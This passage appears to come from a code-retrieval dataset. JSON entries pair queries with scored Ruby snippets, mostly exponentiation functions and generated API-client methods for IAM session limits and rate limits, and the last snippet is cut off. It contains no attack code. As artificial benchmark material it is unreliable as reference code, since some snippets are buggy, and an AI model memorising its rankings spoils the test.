base\n\t\ti+=1\n\tend\n\treturn result\nend", "title": "" }, { "docid": "c77d123802ba40524eba4a32d1c9d925", "score": "0.6177197", "text": "def to_s()\n return @exp\n end", "title": "" }, { "docid": "a0c780078e7e5016e8e1844d96106b71", "score": "0.6176122", "text": "def exp(b, n)\n return 1 if n == 0\n b * exp(b, n - 1)\nend", "title": "" }, { "docid": "cd02c522276407974ed32a6874c437fa", "score": "0.61737883", "text": "def exp1(b , n)\n return 1 if n == 0\n b * exp1(b, n-1)\nend", "title": "" }, { "docid": "ddb81692fd52f8e1be463b77f5bbefb0", "score": "0.6170171", "text": "def exp(b, n)\n return 1 if n == 0\n b * exp(b, (n - 1))\nend", "title": "" }, { "docid": "34b5f5e6c933bd3441e4f58de141e566", "score": "0.6150823", "text": "def exp\n return @battler.exp\n end", "title": "" }, { "docid": "34b5f5e6c933bd3441e4f58de141e566", "score": "0.6150823", "text": "def exp\n return @battler.exp\n end", "title": "" }, { "docid": "34b5f5e6c933bd3441e4f58de141e566", "score": "0.6150823", "text": "def exp\n return @battler.exp\n end", "title": "" }, { "docid": "795cc3a2a6e90ee5673b803c17aacdd9", "score": "0.61331075", "text": "def pow (base, exp) \n\t # base**exp\n \t ([base] * exp).inject(:*) \n\tend", "title": "" }, { "docid": "e7d588003702aec79390cc1d5eed3348", "score": "0.61249673", "text": "def exp(num1, num2)\n result = 1\n num2.times do |index|\n result *= num1\n end\n return result\nend", "title": "" }, { "docid": "dd6db47313138df06ef9d0fa876f0424", "score": "0.6120982", "text": "def power(base, exp)\n if exp == 0\n raise 'failed'\n else\n base * power(base, exp-1)\n end\nend", "title": "" }, { "docid": "fa1f0a1192b92c829b5823f72089b32e", "score": "0.61172354", "text": "def exp2(base, power)\n return 1 if power.zero?\n if power < 0\n # 1.fdiv(base) * exp1(base, power + 1)\n else\n if power.odd?\n base * exp1(base, power / 2) * exp1(base, power / 2)\n else\n exp1(base, power / 2) * exp1(base, power / 2)\n end\n end\nend", "title": "" }, { "docid": "30c52de319c30632b160a14cd66e2011", "score": "0.6093095", "text": "def exp(base, power) # =====> base * (exp(base,(power - 1)/2.0) ** 2) when its odd\n return 1 if power == 0\n return base if power == 1\n if power % 2 == 0\n exp(base, power - 1) * base # => base ** 2\n else\n base * exp(base,(power - 1)/2) ** 2 #odd(5,3) = 3 * (3 ** 2)\n # b * (exp(b, (n - 1) / 2) ** 2) #odd(4,5) = 4 * 256 >> 256 = 1024\n end\nend", "title": "" }, { "docid": "c6eb9313310ce02f05c621f58c9bd0fd", "score": "0.6084858", "text": "def exp1(base, n)\n return 1 if n == 0\n p n\n base * exp1(base, n - 1)\nend", "title": "" }, { "docid": "3122bfc515c2cc74d9d3a6db224cd96d", "score": "0.60787654", "text": "def power(base, exp)\n\ttotal = 1\n\ti = 1\n\twhile i <= exp\n\t\ttotal *= base\n\t\ti += 1\n\tend\n\treturn total\nend", "title": "" }, { "docid": "53f85437c0c605323be8da28a113700d", "score": "0.60749984", "text": "def exp_1(b,n)\n return 1 if n == 0\n b * exp_1(b,n-1)\nend", "title": "" }, { "docid": "6233a0f1c8dfd2f42dce0402fd2ac8cf", "score": "0.60595804", "text": "def exp(b, p)\n return nil if b.zero? && p.zero?\n return 1 if p.zero?\n return b if p == 1\n if p.even?\n part = exp(b, p / 2)\n part * part\n else\n part = exp(b, (p - 1) / 2)\n b * part * part\n end\nend", "title": "" }, { "docid": "2d38d1765512734f501f809d30b6e988", "score": "0.605915", "text": "def faster_exponent(base, exp)\n return 0 if base.zero? && !exp.zero?\n return Float::NAN if base.zero? && exp.zero?\n return 1 if exp.zero?\n if exp.odd?\n base * (faster_exponent(base, (exp - 1) / 2)**2)\n else\n faster_exponent(base, exp/2)**2\n end\nend", "title": "" }, { "docid": "87fac9b0de249eb8311206d0ccf7732b", "score": "0.60519177", "text": "def exp_1(b, n) \n return 1 if n == 0\n b * exp_1(b, n-1)\nend", "title": "" }, { "docid": "13249bd134f3822ee0e47767a59454f4", "score": "0.60454285", "text": "def exp1(b,n)\n if n == 0\n 1\n else\n b * exp1(b, n-1)\n end\nend", "title": "" } ]
9c8c9ae4a46680b2ba114249e8758ee4
Read a &39;iam.SessionLimits&39; resource.
[ { "docid": "0107e5c4d02fceb84d8283753b5f53b0", "score": "0.6577441", "text": "def get_iam_session_limits_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IamApi.get_iam_session_limits_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/iam/SessionLimits'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'IamSessionLimitsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"IamApi.get_iam_session_limits_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IamApi#get_iam_session_limits_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "622a509253d67d223bdb263be1b2592c", "score": "0.67190903", "text": "def limits\n login\n\n uri = @services['compute'] + 'limits'\n\n body = request Net::HTTP::Get, uri\n\n limits = body['limits']\n\n @rate_limits = limits['rate']\n @absolute_limits = limits['absolute']\n\n limits\n end", "title": "" }, { "docid": "1c3167daafc51180716cdb6c2fc31763", "score": "0.63109344", "text": "def limits\n version_guard(29.0) { api_get(\"limits\").body }\n end", "title": "" }, { "docid": "dfc84f6bb0e574f41c3bf753a4ac3131", "score": "0.6281717", "text": "def get_iam_session_limits_list(opts = {})\n data, _status_code, _headers = get_iam_session_limits_list_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "97389a4dc940ca043d39cdeedfe3b36b", "score": "0.6092246", "text": "def limits\n Connector.limits provider: @name, user: @user\n end", "title": "" }, { "docid": "32101554aa86e683b9e6ade01d2ae28a", "score": "0.593574", "text": "def limit(limitable)\n @limits.get(limitable)\n end", "title": "" }, { "docid": "38d8c9def085d6843d3f65911fcb4cd1", "score": "0.5908076", "text": "def rate_limit\n get \"/rate_limit\"\n end", "title": "" }, { "docid": "65c64dcfebee55c1e3030ddfa5e87d61", "score": "0.58830947", "text": "def read_namespaced_limit_range(name, namespace, opts = {})\n data, _status_code, _headers = read_namespaced_limit_range_with_http_info(name, namespace, opts)\n return data\n end", "title": "" }, { "docid": "b332517e97e902d20ab6efa91d28fabd", "score": "0.5774648", "text": "def limits\n @@limits ||= load_config(limits_config)\n end", "title": "" }, { "docid": "cabec2a3a7a80d3f838923f5ac7b062b", "score": "0.57374114", "text": "def limits\n Connector.limits provider_name: @provider_name, user: @user\n end", "title": "" }, { "docid": "1c9df2a62a75be48d9637f3279dfa2e5", "score": "0.5721731", "text": "def get_iam_session_limits_by_moid(moid, opts = {})\n data, _status_code, _headers = get_iam_session_limits_by_moid_with_http_info(moid, opts)\n data\n end", "title": "" }, { "docid": "3017cef21785341baeaf68deb42ddac8", "score": "0.570712", "text": "def limits\n @limits ||= {}\n end", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.5671335", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "4e2c84985896e268188fb77f18cecdf0", "score": "0.56707865", "text": "def get_Limit()\n \t return @outputs[\"Limit\"]\n \tend", "title": "" }, { "docid": "bd707d3f10a95c48bcc899feaacceff5", "score": "0.56007415", "text": "def rate_limits\n @rate_limits || limits['rate']\n end", "title": "" }, { "docid": "a322add0896fd2b1e16ac4ad7da72606", "score": "0.5589095", "text": "def api_limits\n return @opts['api_limits']\n end", "title": "" }, { "docid": "f4f4b51e3aa463618e5254f326ae5e13", "score": "0.55867445", "text": "def get_throughput_and_outstanding_txn_limits\n java_client.get_throughput_and_outstanding_txn_limits.to_ary\n end", "title": "" }, { "docid": "31c8e88a0428638e058ffb3e4bf6c3ba", "score": "0.5581129", "text": "def create_iam_session_limits_with_http_info(iam_session_limits, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IamApi.create_iam_session_limits ...'\n end\n # verify the required parameter 'iam_session_limits' is set\n if @api_client.config.client_side_validation && iam_session_limits.nil?\n fail ArgumentError, \"Missing the required parameter 'iam_session_limits' when calling IamApi.create_iam_session_limits\"\n end\n # resource path\n local_var_path = '/api/v1/iam/SessionLimits'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(iam_session_limits)\n\n # return_type\n return_type = opts[:debug_return_type] || 'IamSessionLimits'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"IamApi.create_iam_session_limits\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IamApi#create_iam_session_limits\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "22a401811a4a6f4b4da72a0f9c6fef83", "score": "0.55486315", "text": "def retrieve_limit_value(env)\n retrieve_integer_value('LIMIT', env)\n end", "title": "" }, { "docid": "2ca713ae9a931b08ff8f0dc118fbe3ec", "score": "0.5511186", "text": "def patch_iam_session_limits(moid, iam_session_limits, opts = {})\n data, _status_code, _headers = patch_iam_session_limits_with_http_info(moid, iam_session_limits, opts)\n data\n end", "title": "" }, { "docid": "d7556b55b026948a5860288ef31d6651", "score": "0.55006003", "text": "def get_info\r\n\r\n numLimiters = 0\r\n session[:info] = @connection.info(@session_key, @auth_token, :json).to_hash\r\n checkSessionCurrency\r\n\r\n if session[:info].present?\r\n if session[:info]['AvailableSearchCriteria'].present?\r\n if session[:info]['AvailableSearchCriteria']['AvailableLimiters'].present?\r\n session[:info]['AvailableSearchCriteria']['AvailableLimiters'].each do |limiter|\r\n if limiter[\"Type\"] == \"select\"\r\n numLimiters += 1\r\n end\r\n end\r\n end\r\n end\r\n end\r\n\r\n session[:numLimiters] = numLimiters\r\n end", "title": "" }, { "docid": "f3d3c34ef6bc73485d846f483465d837", "score": "0.5499723", "text": "def rate_limit\n @rate_limit_resource ||= RateLimit.new(@client)\n end", "title": "" }, { "docid": "f3d3c34ef6bc73485d846f483465d837", "score": "0.5499723", "text": "def rate_limit\n @rate_limit_resource ||= RateLimit.new(@client)\n end", "title": "" }, { "docid": "93fdecde60707464867afd07fbcd3d6e", "score": "0.5493598", "text": "def get_quota\n channel_token_required\n\n endpoint_path = \"/bot/message/quota\"\n get(endpoint, endpoint_path, credentials)\n end", "title": "" }, { "docid": "b9aea0f656188db70c33273df2a402fd", "score": "0.54898345", "text": "def get_quota\n\t\t\[email protected](:limit).to_i\n\t\tend", "title": "" }, { "docid": "03153c25b84a2e7b9c0b864d7b2d4370", "score": "0.5436075", "text": "def rate_limit_status\r\n get('/application/rate_limit_status.json')\r\n end", "title": "" }, { "docid": "7fd588bc3c5a7487e11c9704b84922a6", "score": "0.543476", "text": "def get_iam_resource_limits_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IamApi.get_iam_resource_limits_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/iam/ResourceLimits'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'IamResourceLimitsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"IamApi.get_iam_resource_limits_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IamApi#get_iam_resource_limits_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "445a456f41c395c8f60128f148a35af6", "score": "0.5424632", "text": "def limit\n return @limit\n end", "title": "" }, { "docid": "ac9ce91068e3779343e05ed611de98a6", "score": "0.5424438", "text": "def get_iam_resource_limits_list(opts = {})\n data, _status_code, _headers = get_iam_resource_limits_list_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "f4d7b46c9ac613ffa589e3e35a68634d", "score": "0.54167795", "text": "def rate_limit_status\n get('/account/rate_limit_status.json')\n end", "title": "" }, { "docid": "f4d7b46c9ac613ffa589e3e35a68634d", "score": "0.54167795", "text": "def rate_limit_status\n get('/account/rate_limit_status.json')\n end", "title": "" }, { "docid": "44be5d45e62ad3035757b20a366109f1", "score": "0.5415114", "text": "def stat_limit\n return $atoa_script['Atoa Status Limit']\n end", "title": "" }, { "docid": "cb546a8426e35d48594274461afc56e9", "score": "0.53873056", "text": "def limit\n @limit\n end", "title": "" }, { "docid": "cbb281c83f7dc0cd77f273272750ca6d", "score": "0.5379428", "text": "def getLimits(client)\n\n\trate_limit_status=Twitter::REST::Request.new(client,\"get\",\"/1.1/application/rate_limit_status.json\").perform\n\n\t# the number of requrests rmaining\n\tremaining=rate_limit_status[:resources][:search][:\"/search/tweets\"][:remaining]\n\n\t# seconds until resetting the rateLimit\n\tt=rate_limit_status[:resources][:search][:\"/search/tweets\"][:reset]\n\n\tMCMD::msgLog(\"# getLimits: remaining=#{remaining}, sec=#{t-Time.now.to_i}\")\n\treturn remaining,t-Time.now.to_i\nend", "title": "" }, { "docid": "a697bcf3c11da11faa4a25d23beab2f0", "score": "0.5374184", "text": "def limits(action)\n @limits ||= {}\n limits = @limits[action.to_sym]\n raise TrafficJam::LimitNotFound.new(action) if limits.nil?\n limits\n end", "title": "" }, { "docid": "e90a557d226f7494b0d3de81686ff4ed", "score": "0.5373944", "text": "def rates_limits_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RatesApi.rates_limits_list ...\"\n end\n # resource path\n local_var_path = \"/rates/limits/\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apikey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ResourcesRateCheck')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RatesApi#rates_limits_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "d36ddd688f2c5230ae9fea1c74bca91c", "score": "0.5333874", "text": "def run_limit(credentials = nil)\n read(links[:runlimit], \"text/plain\", credentials).to_i\n end", "title": "" }, { "docid": "d36ddd688f2c5230ae9fea1c74bca91c", "score": "0.5333874", "text": "def run_limit(credentials = nil)\n read(links[:runlimit], \"text/plain\", credentials).to_i\n end", "title": "" }, { "docid": "e48fa656c4b118688ea69174afcbd139", "score": "0.53334105", "text": "def get_limits\n [@upper_limit, @lower_limit]\n end", "title": "" }, { "docid": "2435884bbe9252cd717973313a6be814", "score": "0.53279674", "text": "def get_rlimit(irc, servername)\n success, result = irc.get_stats(servername, 'z')\n handle_error(result, servername) unless success\n\n result.each do |line|\n if line.include?('rlimit')\n soft = line.scan(/rlimit_nofile: soft: (\\d+);/)\n next unless soft\n soft = soft[0][0].to_i\n return soft\n end\n end\n\n puts \"UNKNOWN: #{servername}: no rlimit info\"\n exit(UNKNOWN)\nend", "title": "" }, { "docid": "35bc82f605f39e69bb28d2d3cbf5d698", "score": "0.5324089", "text": "def limit\n @limit\n end", "title": "" }, { "docid": "638a97dfabd1a2604eb10b98ac7ba808", "score": "0.5321131", "text": "def rate_limit!(options = {})\n get \"rate_limit\"\n Octokit::RateLimit.from_response(last_response)\n end", "title": "" }, { "docid": "edd988429e41041637022eaf1f3bce5c", "score": "0.53184783", "text": "def expose_limit()\n required_set?\n\n begin\n return @container.find(@domain).find(@service).meta_data.limit_expose_to()\n rescue Exception => ex\n ContainerLogger.error \"Error grabbing expose limit for service #{@domain}::#{@service}!\".console_yellow, 1\n return \"error;#{ex}\"\n rescue => ex\n ContainerLogger.error \"Error grabbing expose limit for service #{@domain}::#{@service}!\".console_yellow, 1\n return \"Error grabbing expose limit for service #{@domain}::#{@service}!\"\n end\n end", "title": "" }, { "docid": "e7ecf23d839f7e2bdc91ce4963df2fb9", "score": "0.53049946", "text": "def update_iam_session_limits(moid, iam_session_limits, opts = {})\n data, _status_code, _headers = update_iam_session_limits_with_http_info(moid, iam_session_limits, opts)\n data\n end", "title": "" }, { "docid": "3ef6c1955e9cccce07ca466a0213f1da", "score": "0.53047055", "text": "def get_iam_session_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IamApi.get_iam_session_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/iam/Sessions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'IamSessionResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"IamApi.get_iam_session_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IamApi#get_iam_session_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "81d45ce47fa9b70d313893fb7d8e4e0e", "score": "0.5277509", "text": "def get_upload_limits(options = {})\n options = argument_cleaner(required_params: %i( ), optional_params: %i( userid domainid ), options: options )\n get cmd: \"getuploadlimits\", **options\n end", "title": "" }, { "docid": "f4614f7a0631a506eb93aba47fbaf446", "score": "0.5276371", "text": "def session_limitable\n apply_devise_schema :unique_session_id, String, limit: 20\n apply_devise_schema :last_accessed_at, DateTime\n\n apply_devise_schema :session_limitable_type, String\n apply_devise_schema :session_limitable_id, Integer\n end", "title": "" }, { "docid": "5996acbb46b3eef72ccb7e3a26f67097", "score": "0.52725095", "text": "def get_quota_consumption\n channel_token_required\n\n endpoint_path = \"/bot/message/quota/consumption\"\n get(endpoint, endpoint_path, credentials)\n end", "title": "" }, { "docid": "fd598148ba6f4efecd5cc45397f9659b", "score": "0.5270556", "text": "def read_namespaced_limit_range_with_http_info(name, namespace, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CoreV1Api.read_namespaced_limit_range ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling CoreV1Api.read_namespaced_limit_range\"\n end\n # verify the required parameter 'namespace' is set\n if @api_client.config.client_side_validation && namespace.nil?\n fail ArgumentError, \"Missing the required parameter 'namespace' when calling CoreV1Api.read_namespaced_limit_range\"\n end\n # resource path\n local_var_path = \"/api/v1/namespaces/{namespace}/limitranges/{name}\".sub('{' + 'name' + 